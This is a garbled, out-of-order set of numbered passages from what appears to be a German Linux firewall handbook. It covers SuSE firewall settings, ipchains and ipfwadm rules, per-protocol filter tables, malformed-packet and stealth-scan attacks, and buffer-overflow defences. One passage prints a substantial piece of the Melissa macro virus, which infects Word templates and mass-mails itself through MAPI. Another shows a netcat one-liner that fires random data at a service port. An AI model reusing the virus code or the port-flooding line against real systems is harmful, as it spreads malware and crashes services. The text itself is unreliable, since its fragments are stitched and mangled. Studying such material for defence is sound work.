47. z B ICMP Codes Die Problematik habe ich bereits im Skript http www little idiot de firewall workshop2 pdf ausf hrlich beschrieben Hier ein Ausschnitt der Konfigurationsdatei von S u S E FW_START no FW_LOCALNETS FW_FTPSERVER FW_WWWSERVER FW_SSLSERVER FW_SSLPORT 443 FW_MAILSERVER FW_DNSSERVER FW_NNTPSERVER FW_NEWSFEED FW_WORLD_DEV eth1 Erstellt von Doc Gonzo http kickme to plugins FW_INT_DEV eth0 FW_LOG_ACCEPT no FW_LOG_DENY yes FW_ROUTER FW_FRIENDS no FW_INOUT no FW_SSH no FW_TRANSPROXY_OUT FW_TRANSPROXY_IN FW_REDIRECT FW_TCP_LOCKED_PORTS 1 1023 FW_UDP_LOCKED_PORTS 1 1023 Masquerading settings See usr doc packages firewall for a detailed deSkription MSQ_START no MSQ_NETWORKS 192 168 0 0 24 MSQ_DEV eth0 MSQ_MODULES ip_masq_cuseeme ip_masq_ftp ip_masq_irc ip_masq_quake ip_masq_raudio ip_masq_vdolive Es gibt eine Reihe von Variablen die Traffic Uber die Firewall zu bestimmten Servern im Intranet zulassen Die Programmierer bei S U S E haben hier fatale logische Fehler begangen Erstens sollten einige Masquerading Optionen niemals aktiviert werden und zweitens darf niemals der Zugriff auf einen Server in der DMZ erlaubt werden ohne daB dieser selber noch einmal durch eine Firewall gegen ber dem Intranet abgesichert ist Server in der DMZ darf man nicht als sicher betrachten Den Autoren fehlt offensichtlich noch etwas Verst ndnis
48. 0 255 0 0 0 j DENY Weitere Projekte Paul Russel der diese Anleitung im Original verfa t hat hat eine Bibliothek f r Firewall Erweiterungen geschrieben Es basiert auf den Filtern im Firewall Kernel und erm glicht die Implementierung von Filtern mit User Rechten Diese Bibliothek hei t libfw Dinge wie stateful inspection oft auch als dynamic firewalling bezeichnet k nnen mit dieser Bibliothek als Userd mon ausgef hrt werden Die F higkeiten Pakete zu markieren wird von den kommerziellen Firewalls zumeist nicht richtig unterst tzt Unter LINUX kann so ein Quality of Service Dienst realisiert werden Dieses ist bereits im Kernel unterst tzt Weitere Hinweise sind in der Dokumentation des Kernel Codes zu finden Zuk nftige Erweiterungen Es existiert eine NAT Implementierung offiziell ist diese aber f r die Version 2 4 erst verf gbar 12 14 Troubleshooting ipchains L friert die Firewall ein Dies kann mit gesperrten DNS Lookups zusammenh ngen die eventuell nach einiger Zeit von alleine stoppen Mit der Option n wird dieses verhindert Masquerading forwarding funktioniert nicht Die forward chain mu aktiviert sein Alternativ kann man auch ohne den Firewall Code forwarding aktivieren echo 1 gt proc sys net ipv4 ip_forward Man sollte sich aber dar ber im Klaren sein da mit aktiviertem IP forwarding beim Aufbau einer ISDN Leitung eventuell f r einen kleinen Moment die Firewall Re
49. 1 Eingehende FTP Anfrage ACK gesetzt au er im ersten Paket 2 Antwort auf eingehende Anfrage ACK gesetzt 3 Einrichten des Datenkanals f r eingehende FTP Anfrage normaler Modus ACK gesetzt au er im ersten Paket 4 Antworten im Datenkanal f r eingehende FTP Anfrage normaler Modus ACK gesetzt 5 Einrichten des Datenkanals f r eingehende FTP Anfrage passiver Modus ACK gesetzt au er im ersten Paket 6 Antworten im Datenkanal f r eingehende FTP Anfrage passiver Modus ACK gesetzt 7 Ausgehende FTP Anfrage ACK gesetzt au er im ersten Paket 8 Antwort auf ausgehende Anfrage ACK gesetzt 9 Einrichten des Datenkanals f r ausgehende FTP Anfrage normaler Modus ACK gesetzt au er im ersten Paket 10 Antworten im Datenkanal f r ausgehende FTP Anfrage normaler Modus ACK gesetzt 11 Einrichten des Datenkanals f r ausgehende FTP Anfrage passiver Modus ACK gesetzt au er im ersten Paket 12 Antworten im Datenkanal f r ausgehende FTP Anfrage passiver Modus ACK gesetzt TFTP Boot TFTP ist ein Protokoll auf Basis von UDP Server benutzen Port 69 Clients Portnummern ber 1023 TFTP sollte im allgemeinen nicht mehr erlaubt werden Network Computer NC booten ber diese Protokoll bootpd Da TFTP auf UDP basiert ist eine Absicherung ber eine Firewall prinzipiell nicht m glich Hier sollte das FTP Protokoll genutzt werden Regel Richtung Protokoll Quellport Zielport Kommentar 1 ein UDP gt 1023 69
50. 6 Externes SNMP Netzger t Server antwortet der internen Verwaltungsstation Client 7 Interne Verwaltungsstation Client nimmt Kontakt zu externem SNMP Netzger t Server auf ACK gesetzt au er im ersten Paket 8 Externes SNMP Netzger t Server antwortet der internen Verwaltungsstation Client ACK gesetzt 9 Externes Netzger t Client nimmt Kontakt zu interner SNMP Verwaltungsstation trap Server auf 10 Interne SNMP Verwaltungsstation trap Server antwortet dem externen Netzger t Client 11 Externes Netzger t Client nimmt Kontakt zu interner SNMP Verwaltungsstation trap Server auf ACK gesetzt au er im ersten Paket 12 Interne SNMP Verwaltungsstation trap Server antwortet dem externen Netzger t Client ACK gesetzt Erstellt von Doc Gonzo http kickme to plugins 13 Internes Netzger t Client nimmt Kontakt zu externer SNMP Verwaltungsstation trap Server auf 14 Externe SNMP Verwaltungsstation trap Server antwortet dem internen Netzger t Client 15 Internes Netzger t Client nimmt Kontakt zu externer SNMP Verwaltungsstation trap Server auf ACK gesetzt au er im ersten Paket 16 Externe SNMP Verwaltungsstation trap Server antwortet dem internen Netzger t Client ACK gesetzt RIP Router Internet Protokoll RIP ist ein Dienst auf Basis von UDP RIP Server berwachen Port 520 lauschen den Broadcasts anderer Server und Anfragen von Clients RIP Server senden ihre Broadcast
51. 65535 e Etwas technisch sizeof struct ip lt MTU lt sizeof struct udphdr sizeof struct ip f hrt dazu da Pakete einer bestimmten MTU Gr e zu ung ltigen Typen f hren e P Pakete mit TCP Headern die ung ltige Werte besitzen Alle Kombinationen von TCP Flags URG ACK PUSH RST SYN FIN Siehe Beispiel LAND mit net rawip Sequenznummer 0 Ox7fffffff 0x8000000 0xa0000000 Oxffffffff ACK 0 Ox7fffffff Ox8000000 Oxa0000000 Oxffffffff SYN Paket Fenstergr e 0 32768 65535 Urgent Pointer auf 1 Ox7fff 0x8000 Oxffff Data Offset gesetzt Source Port 0 1 32767 32768 65535 Destination Port 0 1 32767 32768 6553 IP Pakete bei denen Source IP und Destination IP derselbe Rechner sind Diese sinnlosen Pakete kommen normalerweise nicht vor Bei einigen Betriebssystemen f hrt dieses zu einer Endlosschleife und einer berlastung im Stack Beispiel ping oder zu einer berlastung durch startende Prozesse land c Erstellt von Doc Gonzo http kickme to plugins e source routed frames enthalten im Header den Weg den das Paket auf dem Weg durch das Internet nehmen soll Vielfach ist es so m glich Sperren zu umgehen ohne Log Events auszul sen e Der bekannte OOB BUG ist auf eine zweideutige Interpretation des URG Flags der urspr nglichen RFC 793 und der neuen RFC 1122 zur ckzuf hren Microsoft mal wieder e Spoofing also das vort uschen einer internen Adresse auf einem externen Interface ist ei
52. 8 9 10 11 12 13 14 Besitzt er mehrere IP Nummern Ist dieser Client an mehrere Netzwerke angebunden besitzt er Zugriff auf unterschiedliche Router Sind Laufwerke oder Verzeichnisse zum Schreiben freigegeben WfW Exisiteren IrDA Netzwerkkarten Welche Protokolle Dienste sind angebunden K nnen Dienste D monen gegen buffer overflows gesichert werden chroot Usermode Besteht eine oder mehrere Zugangsm glichkeiten ins Internet Existiert eine Anbindung an Faxserver Zeiterfassungssysteme Softwarepflege 1 DARON Sind veraltete schlecht gewartete Server im Einsatz die von einem Angreifer als Werkzeug benutzt werden k nnen Welche Software ist installiert Stammt die Software aus einer vertrauensw rdigen Quelle Sind regelm ig Sicherheitspatches eingespielt worden Existieren ungel ste bekannte Sicherheitsprobleme Kann der Systemadministrator unerlaubte Software feststellen Entdeckung von Viren trojanischen Pferden 1 2 3 4 5 6 Ist ein Virenscanner installiert Ist der Virenscanner in weitere Dienste integriert E Mail FTP HTTP Werden Viren auch zuverl ssig erkannt wenn ber HTTP gleichzeitige Verbindungen zu mehreren Internetservern bestehen Ist der Virenscanner stets aktuell Stammen die Updates aus einer vertrauensw rdigen Quelle Erkennt der Virenscanner Varianten von bekannten Makro Viren Anbindung des Client an das Internet
53. Application Level Proxy designt Sie kann f r alle Protokolle http smtp pop3 CU SEE ME ftp dns telnet nntp den Datenstrom in Echtzeit durchscannen on the fly ver und entschl sseln filtern Strings ersetzen u s w Im Gegensatz zu vielen anderen Firewalls arbeitet sie vollst ndig transparent d h es m ssen auf den Clients weder Proxy s noch irgendwelche Socks Routinen eingerichtet werden Sie besitzt eine eigene Filtersprache mit welcher beliebige Filterprotokolle programmiert werden k nnen Bei der Filterung kann sie Datenstr me an andere Filter weiter und umleiten Sie ist die ideale Erg nzung zu den hier vorgestellten Firewalls Die Firewall ist schon viele Jahre im Einsatz und hat sich bew hrt 8 2 SOCKS 5 SOCKS 5 ist nun auf http socks nec com zu finden SOCKS 5 ist ein reiner Circuit Level Proxy und erfordert Anderungen an den Clients http www aventail com liefert DLL s f r Windows die den Socks Mechanismus implementiert haben Im Grunde automatisiert Socks das Einloggen in den SOCKS D mon auf der Firewall und dann die Weiterverbindung zu einem Server in das Internet Clients die mit diesem Mechanismus ber die Firewall Daten transferieren m chten m ssen auf der Firewall frei geschaltet werden SOCKS 5 unterst tzt inzwischen auch das UDP Protokoll Eine Anleitung zur Installation von SOCKS unter LINUX ist im Firewall Howto von J rgen Steiner zu finden 8 3 Das TIS Firewall Toolkit Das TIS Firewalltoolkit i
54. D monen einfach an alle Interfaces binden also auch an LOKALES_INTERFACE Das bedeutet da nun alle D monen ber das LOKALES_INTERFACE von au en erreichbar sind LOKALES_INTERFACE soll wie leicht zu erraten ist diejenige Netzwerkkarte sein die mit dem INTRANET verbunden ist Was nun hervorragend funktioniert ist der Verkehr zwischen den Arbeitsplatz PCs und der Firewall auf dem LOKALES_INTERFACE Netzwerk Interface Dar ber hinaus sollten Pakete von einem Host in dem Intranet auch an einen anderen Host in dem Intranet weitergeleitet werden k nnen quasi als Gateway Und schon wieder ein neuer Begriff dem wahrscheinlich schon viele einmal begegnet sind der jedoch keinem so genau etwas sagt Die Angabe eines Gateways auf einem Arbeitsplatz PC besagt da alle ausgehende Pakete zuerst einmal an das Gateway gehen Das Gateway kann dann entscheiden ob die Pakete z B f r das Internet bestimmt sind oder ob die Zieladresse vielleicht ein Server im Intranet ist Ist das Paket f r das Internet bestimmt so leitet es das Paket intern an die zweite Netzwerkkarte weiter die es an den Router bergibt der es an weitere Router bergibt bis das Ziel erreicht ist Damit das Gateway berhaupt entscheiden kann mu es zuerst einmal gefragt werden Ist der Verkehr f r einen anderen Host im Intranet bestimmt so l uft folgende Prozedur ab INTRA1 sendet ein Paket mit INTRA2 als Zieladresse an das Gateway das Gateway sendet das Paket
55. Datei unix sec checklist htm findet man auch auf unzahligen anderen Servern oft jedoch in einer alteren Version Wer in Suchmaschinen nach UNIX und checklist sucht der wird bald f ndig In dieser Checkliste ist alles Wichtige und Grundlegende f r die Absicherung von UNIX allgemein enthalten F r unsere LINUX Firewall treffen diese Info s leider nicht zu Es gilt hier eine besondere Regel Die eiserne Regel bei Firewalls Eine Firewall hat nur eine Aufgabe n mlich Firewalling Jede weitere Funktion mu unbedingt ausgeschaltet werden Das bedeutet im einzelnen e Entfernen aller Dienste aus der Datei etc inetd conf Danach ist eine Administration nur noch von der Console aus m glich e Entfernen aller unn tigen Software nach der Installation der Firewall dazu geh ren im Prinzip alle Pakete die nicht direkt zur Administration notwendig sind darunter auch alle Compiler Quellcodes Wer sich einmal die LINUX Distributionen angeschaut hat die auf eine FLOPPY passen der wird einsehen da auf der Firewall noch weniger Programme notwendig sind als dort Ein TIP TOM S RESCUE DISK Ein komplettes LINUX mit allen Erstellt von Doc Gonzo http kickme to plugins wichtigen Programmen und allen Treibern auf einer Diskette Siehe http www toms net e Entfernen Sie alle unn tigen User und Gruppen aus den Dateien etc passwd und etc group e Entfernen Sie alle SUID und GID Programme auf der Firewall Sie finden Sie mit d
56. Dienste offenzuhalten e LOAD Balancing Der Einsatz zum Schutz vor Angriffen im Internet erfordert eine intensive Kontrolle der bis zu einigen Tausend simultanen Verbindungen verschiedenster Art Trotz relativ niedriger Bandbreiten im Internet ist es m glich da bei komplexen dynamischen Firewallregeln auch eine DEC ALPHA mit 600 Mhz und bis weit ber 1 Gbyte Memory Bandbreite ihre Grenzen erreicht In diesem Falle ist es sinnvoll load balancing Software und zus tzliche Hardware einzusetzen Im Allgemeinen reicht aber zur Absicherung eines 10MBit Netzwerkes ein kleiner Pentium 75 v llig aus 14 12 Logging Ein wesentlicher Teil der Funktionen einer Firewall sind Logging berwachungs und Alarmierungsfunktionen Um ein Ereignis f r den Benutzer zu protokollieren ist auch die Erstellt von Doc Gonzo http kickme to plugins Generierung einer e Mail vorgesehen Das kann dann sinnvoll sein wenn gro e Netzwerke berwacht werden m ssen oder wenn mit der Zerst rung des prim ren Loghostes gerechnet werden mu In diesem Fall ist es auch m glich die Log Ausgabe an einen Drucker weiterzuleiten 14 13 Counter intelligence Ungeachtet einiger berechtigter ethischer Bedenken verf gt die SINUS Firewall ber eine automatische Gegenspionage Ist die Funtion aktiviert so verwendet sie Standardwerkzeuge wie identd finger oder rwho um die User ID des Angreifers ermitteln zu k nnen Es ist nat rlich m glich da diese Fun
57. Einbinden der Netzwerkkarten und der ISDN Karte DHCP ist abzuschalten PORTMAP ist abzuschalten RPC wird nicht gebraucht Erstellt von Doc Gonzo http kickme to plugins AMD AUTOFS GATED NFS NFSFS ROUTED MOUNTD sind abzuschalten Nun geht es darum mehrere Ethernet Karten in den Kernel einzubinden Hierzu gibt es sogenannte HOWTO s im Internet die die Installation der Karten beschreiben Wer diese Dokumentationen im Internet sucht dem sei die Suchmaschine www Metacrawler com empfohlen Als Suchbegriff ist hier Linux Documentation Project oder LDP einzugeben Man kann jedoch auch zu einem sp teren Zeitpunkt mit LINUXCONF Karten einbinden LINUX erkennt nach dem Booten im allgemeinen nur eine Karte Man kann aber in der Datei etc lilo conf beispielsweise noch die Zeile append ether 11 0x6100 eth0 ether 9 0x6200 eth1 hinzuf gen brigens funktioniert dies auch beim Boot Prompt linux Hier kann man append einf gen Diese Parameter werden an den Kernel bergeben Da im Kernel selber alle Treiber einkompiliert sind wird dann auch die zweite Karte direkt erkannt Die automatische Erkennung beider Karte funktioniert nur dann wenn die Karten sich in Hersteller oder Bauart unterscheiden Wer sich hier unsicher f hlt weil sein Handbuch hier ber keine pr zisen Informationen enth lt der mag sich im Internet beim DEUTSCHES LINUX HOWTO PROJEKT auch DLHP genannt umschauen Hier findet fast alles auch in deutscher Spr
58. Einsatz von LINUX als Firewall w rde dies kritische Untersuchungen nach sich ziehen Es ist auch noch niemand wegen des Einsatzes von Windows NT entlassen worden obwohl viele Zahlen siehe Vergleich von Ausf llen bei UNIX und NT der Gartner Group genau hierzu Anla geben d rften Ich denke da sp testens nach der Lekt re dieses Handbuches einige Entscheider die Sachlage besser einsch tzen k nnen und sich an eine der unten aufgef hrten Firmen zwecks Betreuung und Beratung in Sachen Firewall unter LINUX wenden Ich habe aber auch zahlreiche R ckmeldungen ber erfolgreiche Installationen von Firewalls unter LINUX nach den Anleitungen aus diesem Handbuch hier erhalten Eine berpr fung der Sicherheit der Firewall wurde in vielen F llen mit dem ISS Security Scanner durchgef hrt der ebenfalls auch von fast allen Security Consultants verwendet wird Preiswerter kann man nicht mehr an eine Firewall kommen In einigen wenigen F llen halte aber auch ich andere Firewalls f r geeigneter Der Grund liegt einfach darin da z B Borderware und die GNAT Firewall sozusagen Idiotensicher zu bedienen und zu installieren sind Unter LINUX gibt es diesen Komfort nur beim Einsatz der SF Firewall oder bei Verwendung der vielen Firewall Administrationswerkzeugen f r LINUX Beachtet man jedoch die rasante Entwicklung bei Protokollen k nnen sie bei LINUX sicher sein da Sie kostenlose Updates erhalten 5 1 Feedback Fehler und andere Ungereim
59. Filterregeln empfohlen Im Kapitel firewallregeln sind aber auch die meisten dieser Filterregeln noch einmal genauestens aufgelistet Meiner Meinung nach ist die Bibel von Bellovin und Cheswick inzwischen v llig veraltet da sie sich ohnehin nur auf Probleme auf Circuit Level bezieht Die erste Frage die hier gekl rt werden soll ist die Frage nach block oder reject von Paketen In der Praxis ist diese Frage oft schwieriger zu beantworten als es den Anschein hat Wenn ein Paket geblockt wird also der Sender keine Fehlermeldung erh lt dann k nnte es sein da der Host meint da das Paket w hrend der bermittlung verloren gegangen ist Ein normaler Algorithmus in einem Programm oder Protokoll besitzt einen Timeout Mechanismus der nach einigen Versuchen abbricht Wenn dieser eine ICMP Meldung zur ckerh lt in welcher der Host dar ber informiert wird da ein Paket nicht ausgeliefert werden kann no route to host dann wird er sofort damit aufh ren welche zu senden Man sollte aber niemals Pakete unbedacht mit einer Angabe einer Fehlermeldung reject ablehnen Es k nnte schlie lich sein da die Anwendung die die Pakete sendet ICMP Fehlermeldungen nicht interpretieren kann In diesem Fall w rde eine Flut von Fehlermeldungen die freie Bandbreite der Leitungen unn tig belasten Au erdem w rde von der Firewall eine Unzahl von Fehlermeldungen gesendet werden Die g ngigen Implementierungen von TCP beachten sehr wohl ICMP Fehlerm
60. Firewall Themen Begrenzungen der Zahl von FTP POP3 Verbindungen Zu lange Timeouts Abstimmung von Betriebssystem und Firewall mission critical Systeme Einsatz von BSD UNIX bei gro en Providern Fast alle Betriebssysteme lassen sich mit massiven echten Verbindungsanforderungen an den Rand der Leistungsf higkeit bringen Beispielsweise kann man mit wenigen Hundert FTP oder POP3 IMAP4 Verbindungen einen Server ans Swappen bringen Die Antwortzeiten steigen schnell an und nach ein paar Minuten ist der Server in einem Zustand da er neu gebootet werden mu Es ist also gerade bei mission critical Systemen wichtig da RAM Verbrauch je offener TCP IP Verbindung und Proze auf das zur Verf gung stehende RAM abgestimmt wird Einzelne Dienste m ssen in ihrer Zahl begrenzt werden In vielen F llen sind auch die Timeout Zeiten z B bei abgebrochenen FTP Verbindungen zu lang soda vom TCP IP Stack unn tig RAM verbraucht wird Die maximale Zahl der halboffenen Verbindungen mu angepa t werden und zwar im Kernel des Servers und der Firewall Gerade bei mission critical Systemen ist es unerl lich da man genaue Kenntnisse ber timeout Zeiten RAM Verbrauch maximale Zahl der Verbindungen u s w der Firewall und des Servers hat Aus diesem Grund werden gro e Server ausschlie lich mit FreeBSD oder NetBSD betrieben www cdrom com www yahoo com www lycos com www netscape com www tucows com und viele weitere Deren
61. Gateway in das Internet aufbauen sofern die Firewall die Funktion transparent proxy aktiviert hat Verschiedene Proxy Module der Firewall erleichtern dem Angreifer den Aufbau eines Tunnels von einem Arbeitsplatz aus zu einem Server im Internet Problem 3 Es ist ein Split DNS Server aufgebaut der eventuell ein Problem mit additional informations haben k nnte Ein eingeschleustes trojanisches Pferd k nnte den MX Erstellt von Doc Gonzo http kickme to plugins Eintrag des internen DNS Servers auf eine IP Nummer im Internet um ndern Die Folge w re da der Angreifer s mtliche internen und externen e Mail aus dem Netzwerk erhalten w rde die er kopieren und in das Netzwerk zur cksenden k nnte Problem 4 Er nutzt die typischen Fehler der Browser auf den Arbeitsstationen Host A D aus Ein vorbereitetes auf die internen IP Nummern angepa tes Active X Applet k nnte somit beliebige Angriffe auf Server intern starten Er mu hierzu nur die Aufmerksamkeit eines Users im Intranet auf einen beliebigen Internet Server lenken damit dieser das Applet auf seine Arbeitsstation l dt und es startet Problem 5 Eine UNIX Firewall k nnte er versuchen direkt von innen her mit einem buffer overflow anzugreifen in der Hoffnung da diese einige wohlbekannten Ports nach innen hin ge ffnet hat Problem 6 Hat er auch nur ein einziges mal die Firewall berwunden so kann er trojanische Pferde installieren sp ter von al
62. Genaue Recherchen haben aber gezeigt da oft schon bis 6 Monate vor dem Erscheinen eines exploits Ger chte ber einen m glichen buffer overflow auf einem Betriebssystemen Router u s w in NEWSGROUPS aufgetaucht sind www dejanews com Es sind aber auch schon F lle bekanntgeworden wo buffer overflow Angriffe aus der ehemaligen SU erfolgreich waren die erst ca 2 Jahre sp ter in den Mailing Listen von BUGTRAQ aufgedeckt wurden Flei iges Mitlesen der Listen und einspielen von Sicherheits Patches hilft nur und ausschlie lich gegen den MOB der sich im Internet breitmacht und exploits testet gegen professionelle Angreifer m ssen sichere Betriebssysteme und Filter eingesetzt werden Wie kann man sich vor buffer overflows sch tzen Es gibt nur 2 Betriebssysteme die erwiesenerma en gegen einen solchen Angriff sch tzen k nnen Solaris 2 6 2 7 und SecureLINUX Canary Stackguard MemGuard In Solaris 2 6 mu hierzu geht man von einer normalen Installation aus erst ein Schalter aktiviert werden der verhindert da Programme in stack und heap ausgef hrt werden k nnen noexec_user_stack noexec_user_heap Erstellt von Doc Gonzo http kickme to plugins Danach sind alle von SOLARIS mitgelieferten Programme die zumindest ohne besondere Privilegien gestartet sind nicht mehr gef hrdet SecureLINUX erfordert einen Patch im Standard Kernel und den Einsatz eines speziell angepa ten Compilers mit welchem alle Prog
63. INETD bzw SSH sich keinesfalls an die beiden anderen Karten anbinden siehe Kapitel Protokolle und Dienste Man mu also stets sehr genau darauf achten da die Fernwartungssoftware nur ber das dritte Interface zu erreichen ist Der Grund hierf r ist oft nicht ganz einsichtig Angenommen eine Firewall besitzt ein externes und ein internes Interface Uber das interne Interface wird aller Traffic und auch die Fernwartung abgewickelt Angenommen da ein Angreifer von dem Au eren Interface nicht auf z B Port 22 von SSH zugreifen kann Speziell SSH hatte aber z B ein Buffer overflow Problem Dasselbe Problem k nnte aber auch jedes andere Verschl sselungsprotokoll besitzen Ein weiteres Problem ist h ufig da es viele Systemadministratoren mit dem Schutz vor Angriffen von innen nicht so ernst nehmen Tatsache ist aber da viele installierte Firewalls unter LINUX von innen her verletzbar sind insbesondere dann wenn noch offene Ports von innen her zu erreichen sind z B f r Fernwartung SMNP MAIL o Die zu m chtige Skriptsprache von Microsoft erlaubt die direkte Programmierung von TCP IP Paketen ber Visual Basic und die Winsock 2 1 3 0 von Windows Damit lassen sich buffer overflows von innerhalb initiieren ohne da der Anwender von Winword berhaupt merkt da im Hintergrund sein Arbeitsplatz PC gerade die Firewall au er Betrieb setzt Die ist leider keine Hypothese sondern bittere Erfahrung Darum sollte man stets sofern m
64. Mails lesen und Programme downloaden diese verbleiben jedoch stets auf der LINUX GRAHICAL WALL Uber einen angeschlossenen Drucker k nnen Mails und Attachments ausgedruckt werden mehr nicht Der Vorteil dieser Firewallkonstruktion ist da Viren trojanische Pferde niemals ber Firewall 2 hinweg bertragen werden k nnen Die Konfiguration von Firewall 2 ist relativ einfach f r jeden User mu jeweils 1 TCP Port von Port 6000 an aufw rts reserviert werden Ein Angreifer kann mit dem VNC Protokoll keinerlei Schaden auf den Arbeitsstationen anrichten Erstens enth lt das VNC Protokoll ja nur Bildschirminformationen f r die Clients zweitens l uft es in der JAVA SANDBOX ab die zus tzliche Sicherheit bietet Die Nachteile dieser Konstruktion sollen hier nat rlich auch nicht verschwiegen werden Gegen ber allen anderen Firewalls sind die Nebenwirkungen aber u erst gering Es gibt evtl Probleme der Performance bei der bertragung der Bildschirminhalte Wer noch ein 10 MBit Netzwerk besitzt der wird bemerken da die Inhalte bei mehr als 10 simultanen Usern nur noch ruckelnd bertragen werden Die Flut der Pixelinformationen sorgt trotz Kompression f r eine ruckelnde bertragung Bei geswitchten 100 MBit Netzwerken k nnen durchaus bis zu mehrere dutzend User simultan surfen Hier wird das Limit durch die Performance der LINUX GRAPHICAL WALL gesetzt Viel RAM und ein schneller Prozessor sowie eine oder mehrere 100 MBit Karten reiche
65. Microsoft sind weit davon entfernt berhaupt noch einen berblick ber den Quellcode zu haben Wie werden buffer overflows entdeckt Entweder man durchforstet systematisch den Quellcode eines D mons untersucht den Quellcode von Libraries DLL s oder man bem ht den Boundschecker NUMEGA Dieser arbeitet wie ein logischer Disassembler und vermag Zusammenh nge von bergebenen Parametern und Funktionsaufrufen in den DLL s zu erkennen Dementsprechend gibt dieser Warnhinweise aus wo sich ein Test lohnen k nnte Bei Microsoft sind es unz hlige es ist also zu erwarten das Microsoft Server zunehmend das Ziel von solchen Angriffen sein werden So einfache Tests mit Zufallszahlen die man an einen Port sendet cat lt dev random netcat IP Nummer Port f hren schon zu interessanten Effekten Schutzverletzung Bluescreen Ist es m glich bei einem Dienst oder D mon die nach au en ber das Netzwerk verf gbaren Befehle und deren Syntax zu ermitteln so ist es mit netcat m glich die Befehle einzeln auf buffer overflows zu testen Das l t sich auch per Hand durchf hren telnet_IP Nummer_25 HELP nur besteht das Risiko da in dieser Hilfefunktion nicht alle Befehle aufgelistet sind Man ben tigt daher immer auch den Quellcode Daraus resultiert da man sehr wohl einen Server sicher machen kann vorausgesetzt da die Befehle bersichtlich sind der D mon Dienst nicht zu komplex und das der Quellcode vorliegt Au
66. Netzwerk Adressen Wenn kein Masquerading aktiviert worden ist ist diese Routine deaktiviert Routing decision Die Zieladresse wird von der Routing Unterroutine untersucht Hierbei entscheidet sich an welchen output chain das Paket bergeben wird Local process Hier kann das Paket von einem Programm entgegen genommen und weiterverarbeitet werden An dieser Stelle kann z B ein Proxy oder hnliches zur weiteren Filterung der Pakete installiert werden Danach wird das Paket an die output chain bergeben lo interface Falls Pakete eines lokalen Programms an einen anderes Programm bergeben werden m ssen dann sind diese an das Interface lo welches das loopback Interface ist bergeben F r diese Interface existiert also auch eine input chain welche Ausgaben eines Programmes wieder an den Kernel zwecks Weiterleitung bergeben kann local Wenn ein Paket nicht von einem lokalen Programm erzeugt wurde dann wird dieses an die forward chain bergeben ansonsten wird das Paket an die output chain direkt bergeben forward chain Diese chain mu von jedem Paket durchlaufen werden welches von einem Interface kommend an ein anderes weitergeleitet werden m chte output chain Hier werden nochmals alle Pakete gefiltert bevor sie das Interface verlassen Erstellt von Doc Gonzo http kickme to plugins 12 9 Die Programmierung von ipchains Zuerst sollte man die Versionsnummer von ipchains in Erfahrung bringen
67. Next 00 BreakUmOffASlice Subject Important Message From amp Application UserName BreakUmOffASlice Body Here is that document you asked for don t show anyone else BreakUmOffASlice Attachments Add ActiveDocument FullName BreakUmOffASlice Send keepa Next y DasMapiName Logoff End If System PrivateProfileString HKEY_CURRENT_USER Software Microsoft Office Melissa by Kwyjibo Erstellt von Doc Gonzo http kickme to plugins End If Set ADII ActiveDocument VBProject VBComponents Item 1 Set NTII NormalTemplate VBProject VBComponents Item 1 NTCL NTI1 CodeModule CountOfLines ADCL ADIl CodeModule CountOfLines BGN 2 If ADI1 Name lt gt Melissa Then If ADCL gt 0 Then ADIl CodeModule DeleteLines 1 ADCL Set Tolnfect ADI ADI1 Name Melissa DoAD True End If If NTI1 Name lt gt Melissa Then If NTCL gt 0 Then NTIl CodeModule DeleteLines 1 NTCL Set ToInfect NTI1 NTI1 Name Melissa DoNT True End If If DoNT lt gt True And DoAD lt gt True Then GoTo CYA If DoNT True Then Do While ADI1 CodeModule Lines 1 1 ADI1 CodeModule DeleteLines 1 Loop Tolnfect CodeModule AddFromString Private Sub Document_Close Do While ADI1 CodeModule Lines BGN 1 lt gt Tolnfect CodeModule InsertLines BGN ADI1 CodeModule Lines BGN 1 BGN BGN 1 Loop End If If DoAD True Then Do While NTI1 CodeModule Lines 1 1 NTI1 CodeModule DeleteLines 1 Loop
68. Patch erforderlich Problematisch wird es wenn dieser Router zusammen mit einer Firewall kaskadiert wird Ein Angreifer kann dann einen PING PONG Effekt zwischen Firewall und LINUX initiieren der zum Stillstand des Systems f hren kann Diese PING PONG Effekte k nnen zahlreiche einfachere Ursachen haben meist Routingfehler erfahrenere Angreifer nutzen aber Probleme dieser Art aus Stealth Scanner und TCP IP Stacks Themen e Halboffene Verbindungen e SPF Firewall Probleme e CISCO und stealth scan Diese Scantechnik ist schwierig zu entdecken da sie keine LOG Eintr ge hinterl t Stealth Scans beruhen darauf da TCP IP Stacks fast aller Betriebssysteme bei halboffenen Verbindungen unterschiedliche Pakete an den Angreifer zur cksenden je nachdem ob der Port auf dem Server in Gebrauch oder deaktiviert ist Einige Firewalls der schnelleren Art SPF lassen diese Pakete passieren soda ein Angreifer ohne Spuren zu hinterlassen die benutzten Ports eines Servers hinter der Firewall bestimmen kann Bei PROXY Firewalls ist dies nicht m glich Da diese Art des Scannens noch recht unzuverl ssig ist sollte man dieser M glichkeit weniger Aufmerksamkeit widmen CISCO hielt es aber f r notwendig dieses Problem zu korrigieren ab V11 l t sich mit stealth scan nichts mehr in Erfahrung bringen Bis jedoch die Hersteller von UNIX und NT nachgezogen haben k nnen Angreifer ohne Spuren zu hinterlassen Ports scannen Sicherheit von Swit
69. Policy ipfwadm I p deny ipfwadm O p deny ipfwadm F p deny Die Bedeutung im Einzelnen wird klarer wenn man sich bewu t wird da eine Firewall auf jedem Interface eingehende und ausgehende Pakete regeln mu Das Konfigurationswerkzeug um auf die Firewall Filter im Kernel zuzugreifen ist ipfwadm Die Optionen I O F stehen f r Input oder Ingoing O ist die Abk rzung f r Output oder Outgoing p bedeutet Policy deny bedeutet verboten Zusammengefasst steht also folgendes in den ersten beiden Zeilen Der Kernel wird angewiesen alle eingehenden und ausgehenden Pakete abzulehnen wenn keine der Regeln zutreffen sollte Als Standardeinstellung der Policy ist dies soweit ok Die dritte Zeile enth lt F F ist die Bezeichnung f r forwarding Hiermit ist die Weiterleitung zwischen den Netzwerkkarten gemeint Diese drei Zeilen sind insbesondere deswegen wichtig weil hier festgelegt wird ob Pakete transportiert werden wenn die Firewallregeln gel scht sind Die forwarding Einstellungen k nnen sowohl mit Hilfe des Werkzeuges sysctrl oder mit Hilfe eines echo 0 gt proc net ip_forward aus der Shell heraus abschalten Einige Konfigurationsdateien von LINUX beim Bootvorgang schalten n mlich das Forwarding beim Booten ab und sp ter wieder ein Das passiert immer in dem Moment wenn z B die Firewallregeln aktualisiert werden In der Vergangenheit ist es bei Zertifizierungen von Firewalls h ufiger bem ngelt worden da w
